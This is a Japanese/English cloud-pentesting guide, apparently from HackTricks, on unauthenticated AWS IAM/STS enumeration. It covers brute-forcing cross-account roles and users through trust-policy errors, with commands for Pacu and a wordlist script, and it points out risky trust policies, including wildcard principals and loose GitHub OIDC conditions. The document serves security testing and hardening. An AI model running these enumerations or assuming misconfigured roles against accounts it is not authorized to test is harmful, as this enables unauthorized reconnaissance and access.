# AWS - IAM & STS Unauthenticated Enum

{{#include ../../../../banners/hacktricks-training.md}}

## アカウント内の Roles & Usernames を列挙

### ~~Assume Role Brute-Force~~

> [!CAUTION]
> **この手法はもはや機能しません。** role が存在するかどうかに関係なく、常に次のエラーが返されます:
>
> `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas`
>
> 以下を実行して **確認できます**:
>
> `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example`

必要な権限なしで **role を assume** しようとすると、AWS のエラーメッセージが返されます。例えば、認可されていない場合、AWS は次のようなメッセージを返すことがあります:
```ruby
An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS
```
このメッセージはロールの存在を確認しますが、その assume role policy によってあなたがそのロールを assume することは許可されていないことを示しています。対照的に、**assume a non-existent role leads to a different error**:
```less
An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole
```
Interestingly, this method of **discerning between existing and non-existing roles** is applicable even across different AWS accounts. With a valid AWS account ID and a targeted wordlist, one can enumerate the roles present in the account without facing any inherent limitations.

You can use this [潜在的なプリンシパルを列挙するためのスクリプト](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusing this issue.

### Trust Policies: Brute-Force Cross Account roles and users

Configuring or updating an **IAM role's trust policy involves defining which AWS resources or services are permitted to assume that role** and obtain temporary credentials. If the specified resource in the policy **exists**, the trust policy saves **successfully**. However, if the resource **does not exist**, an **error is generated**, indicating that an invalid principal was provided.

> [!WARNING]
> Note that in that resource you could specify a cross account role or user:
>
> - `arn:aws:iam::acc_id:role/role_name`
> - `arn:aws:iam::acc_id:user/user_name`

This is a policy example:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::216825089941:role/Test"
},
"Action": "sts:AssumeRole"
}
]
}
```
#### GUI

それは、**エラー**で、**存在しないロール**を使用した場合に表示されるものです。ロールが**存在する**場合、ポリシーはエラーなく**保存**されます。（このエラーは更新時のものですが、作成時にも同様に発生します）

![](<../../../images/image (153).png>)

#### CLI
```bash
### You could also use: aws iam update-assume-role-policy
# When it works
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
{
"Role": {
"Path": "/",
"RoleName": "Test-Role",
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
"CreateDate": "2022-05-03T20:50:04Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::316584767888:role/account-balance"
},
"Action": [
"sts:AssumeRole"
]
}
]
}
}
}

# When it doesn't work
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"
```
このプロセスは [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) で自動化できます

- `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt`

または [Pacu](https://github.com/RhinoSecurityLabs/pacu) を使用:

- `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
- `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
- 例で使用している `admin` ロールは、**あなたのアカウント内で pacu によってインパーソネートされるロール**で、列挙のために必要なポリシーを作成するために使用されます。

### Privesc

ロールが誤って設定され、誰でも assume できる場合:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}
```
攻撃者は単にそれをassumeすることができる。

## Third Party OIDC Federation

たとえば、**Github Actions workflow** が **AWS** 内の **role** にアクセスしているのを読み取れると想像してください。\
この信頼は、次のような **trust policy** を持つ role へのアクセスを与える可能性があります：
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}
```
この trust policy は一見正しいかもしれませんが、**より多くの条件がないこと**があるため、信用すべきではありません。\
これは前の role を **Github Actions の誰でも** 引き受けられるためです！条件には org name, repo name, env, brach... なども指定するべきです。

別の潜在的なミスコンフィグは、次のように**条件を追加する**ことです：
```json
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}
```
注意：**wildcard** (\*) が **colon** (:) の前にあることに留意してください。たとえば **org_name1** のような org を作成し、Github Action から **assume the role** することができます。

## 参考資料

- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
- [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)

{{#include ../../../../banners/hacktricks-training.md}}
